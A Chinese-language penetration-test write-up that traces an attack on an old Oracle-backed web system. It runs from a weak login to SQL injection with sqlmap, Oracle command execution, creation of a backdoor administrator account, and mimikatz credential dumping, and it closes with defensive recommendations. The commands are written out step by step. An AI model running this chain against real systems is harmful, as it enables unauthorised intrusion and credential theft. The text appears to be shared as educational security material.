【实战】一次从弱口令到getshell
字数 1079 2025-08-13 21:33:27

Oracle数据库渗透实战:从弱口令到GetShell

0x00 前言

本文详细记录了一次针对Oracle数据库系统的完整渗透过程,涵盖弱口令利用、SQL注入漏洞发现、Oracle数据库提权以及最终获取系统管理员权限的全流程。所有涉及漏洞均已提交,渗透测试需遵守法律法规。

0x01 信息收集与弱口令利用

  1. 目标发现:通过子域名扫描发现老旧系统(2014年建立)
  2. 弱口令测试
    • 初始爆破未果
    • 尝试简单组合123/123成功登录
    • 获取"编辑"人员权限账户

0x02 SQL注入漏洞发现与利用

  1. 漏洞发现

    • 在人员查询接口发现SQL注入点:http://host.com/xxx/control/SearchMenHunInfo?content=123
    • 该接口存在未授权访问漏洞
  2. SQLMap利用

    # 基本检测
    python sqlmap.py -u "http://host.com/xxx/control/SearchMenHunInfo?content=123" --current-db
    
    # 确认数据库类型为Oracle
    python sqlmap.py -u "http://host.com/xxx/control/SearchMenHunInfo?content=123" -b
    
    # 检查数据库权限
    python sqlmap.py -u "http://host.com/xxx/control/SearchMenHunInfo?content=123" --is-dba
    
  3. 关键信息收集

    • 进入SQL-shell模式获取更多信息:
      -- 查询SID
      select instance_name from v$instance;
      
      -- 查询当前IP
      select sys_context('userenv','ip_address') from dual;
      
    • 爆破数据库账号密码:
      python sqlmap.py -u "http://host.com/xxx/control/SearchMenHunInfo?content=123" --passwords
      

0x03 Oracle数据库提权与命令执行

  1. Oracle版本确认

    • 确认目标Oracle版本支持命令执行
  2. 工具准备

    • 使用oracleShell工具进行命令执行
    • 所需信息:
      • 数据库IP
      • 端口(默认1521)
      • SID
      • 有效账号密码(如SYSTEM/SYS)
  3. 连接数据库

    • 使用获取的凭证连接Oracle数据库
    • 确认获得SYSTEM权限

0x04 系统权限提升与横向移动

  1. 操作系统命令执行

    # 创建新用户
    net user name pwd /add
    
    # 添加到管理员组
    net localgroup Administrators name /add
    
  2. 远程桌面连接

    • 使用新创建的用户凭证通过RDP连接
  3. 凭证收集

    • 上传mimikatz工具
    • 获取管理员明文密码:
      privilege::debug
      sekurlsa::logonPasswords
      
    • 使用管理员凭证登录RDP

0x05 技术总结

  1. 渗透路径

    弱口令 → SQL注入 → Oracle数据库提权 → 系统命令执行 → 管理员权限获取
    
  2. 关键点

    • 老旧系统往往存在简单弱口令
    • 未授权接口可能暴露高危漏洞
    • Oracle特定版本存在命令执行风险
    • 数据库高权限账户可导致系统沦陷
  3. 防御建议

    • 禁用简单弱口令,实施强密码策略
    • 修复SQL注入漏洞,参数化查询
    • 限制数据库账户权限,避免SYSTEM账户滥用
    • 监控异常数据库查询和命令执行行为

0x06 工具与命令速查

工具/命令 用途
sqlmap SQL注入检测与利用
oracleShell Oracle数据库命令执行
net user Windows用户管理
mimikatz Windows凭证提取

0x07 参考资源

  1. Oracle数据库安全配置指南
  2. OWASP SQL注入防护手册
  3. 数据库权限最小化原则

注意:本文仅用于教育目的,实际渗透测试必须获得授权并遵守相关法律法规。

Oracle数据库渗透实战:从弱口令到GetShell 0x00 前言 本文详细记录了一次针对Oracle数据库系统的完整渗透过程,涵盖弱口令利用、SQL注入漏洞发现、Oracle数据库提权以及最终获取系统管理员权限的全流程。所有涉及漏洞均已提交,渗透测试需遵守法律法规。 0x01 信息收集与弱口令利用 目标发现 :通过子域名扫描发现老旧系统(2014年建立) 弱口令测试 : 初始爆破未果 尝试简单组合 123/123 成功登录 获取"编辑"人员权限账户 0x02 SQL注入漏洞发现与利用 漏洞发现 : 在人员查询接口发现SQL注入点: http://host.com/xxx/control/SearchMenHunInfo?content=123 该接口存在未授权访问漏洞 SQLMap利用 : 关键信息收集 : 进入SQL-shell模式获取更多信息: 爆破数据库账号密码: 0x03 Oracle数据库提权与命令执行 Oracle版本确认 : 确认目标Oracle版本支持命令执行 工具准备 : 使用 oracleShell 工具进行命令执行 所需信息: 数据库IP 端口(默认1521) SID 有效账号密码(如SYSTEM/SYS) 连接数据库 : 使用获取的凭证连接Oracle数据库 确认获得SYSTEM权限 0x04 系统权限提升与横向移动 操作系统命令执行 : 远程桌面连接 : 使用新创建的用户凭证通过RDP连接 凭证收集 : 上传mimikatz工具 获取管理员明文密码: 使用管理员凭证登录RDP 0x05 技术总结 渗透路径 : 关键点 : 老旧系统往往存在简单弱口令 未授权接口可能暴露高危漏洞 Oracle特定版本存在命令执行风险 数据库高权限账户可导致系统沦陷 防御建议 : 禁用简单弱口令,实施强密码策略 修复SQL注入漏洞,参数化查询 限制数据库账户权限,避免SYSTEM账户滥用 监控异常数据库查询和命令执行行为 0x06 工具与命令速查 | 工具/命令 | 用途 | |-----------|------| | sqlmap | SQL注入检测与利用 | | oracleShell | Oracle数据库命令执行 | | net user | Windows用户管理 | | mimikatz | Windows凭证提取 | 0x07 参考资源 Oracle数据库安全配置指南 OWASP SQL注入防护手册 数据库权限最小化原则 注意 :本文仅用于教育目的,实际渗透测试必须获得授权并遵守相关法律法规。